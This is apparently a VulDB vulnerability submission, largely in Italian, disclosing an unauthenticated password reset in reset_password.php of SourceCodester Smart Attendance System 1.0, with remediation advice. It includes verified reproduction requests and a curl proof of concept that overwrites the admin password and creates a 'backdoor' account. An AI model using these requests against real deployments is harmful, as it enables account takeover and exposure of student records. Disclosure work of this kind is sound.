| Titolo | SourceCodester Smart Attendance System with QR Code Scanner 1.0 Missing Authentication for Critical Function |
|---|
| Descrizione | Unauthenticated password reset in reset_password.php of SourceCodester Smart Attendance System with QR Code Scanner 1.0 allows remote attackers to overwrite the password of any account (including the administrator) or create arbitrary new accounts, leading to complete admin takeover.
The maintenance script performs a password change without any authentication or session check. reset_password.php includes only includes/db.php (line 4) - every other admin page includes includes/auth.php which enforces the session, but this file does not. Password update runs at lines 23-25; an unknown username auto-creates a new account at lines 30-31.
CWE-306. CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1.
Verified on a local deployment (PHP 7.3.4 / MySQL 5.7.26, 2026-10-17):
- POST /reset_password.php (no cookie), body username=admin&password=PwnedByAudit2026 -> "Success! Password for user 'admin' has been updated."
- POST /login.php with the new password -> 302 -> GET /index.php -> 200 Dashboard (admin session obtained)
- POST /reset_password.php username=backdoor&password=backdoor123 (no cookie) -> "User 'backdoor' was not found, so a NEW account was created with this password."
Impact: complete takeover of the application. The attacker becomes administrator (or creates a new admin account) and can read/modify/delete all student records, attendance logs, class schedules and user accounts. The attack is scriptable and leaves only a normal-looking password change in logs.
Remediation: remove reset_password.php (and create_admin.php) from the web root; or require includes/auth.php plus current-password verification, and never auto-create accounts in a reset flow.
PoC:
curl -s -X POST "http://<TARGET>/reset_password.php" --data "username=admin&password=AttackerSetPass123"
curl -s -c jar.txt -X POST "http://<TARGET>/login.php" --data "username=admin&password=AttackerSetPass123"
curl -s -b jar.txt "http://<TARGET>/index.php" # 200 - Dashboard
White-box audit by EVA Security Research (yuechuya), 2026-10-17. Full 12-section report, source SHA-256 manifest and three-pass review:
https://github.com/yuechuya/sourcecodester-vuln-reports/blob/main/reports/VULN-01-Unauthenticated-Password-Reset.md |
|---|
| Utente | yuechuya (UID 101209) |
|---|
| Sottomissione | 18/10/2026 10:40 (22 giorni fa) |
|---|
| Moderazione | 09/11/2026 17:56 (22 days later) |
|---|
| Stato | Accettato |
|---|
| Voce VulDB | 433178 [SourceCodester Smart Attendance System with QR Code Scanner 1.0 Password Reset reset_password.php username/password escalationi di privilegi] |
|---|
| Punti | 20 |
|---|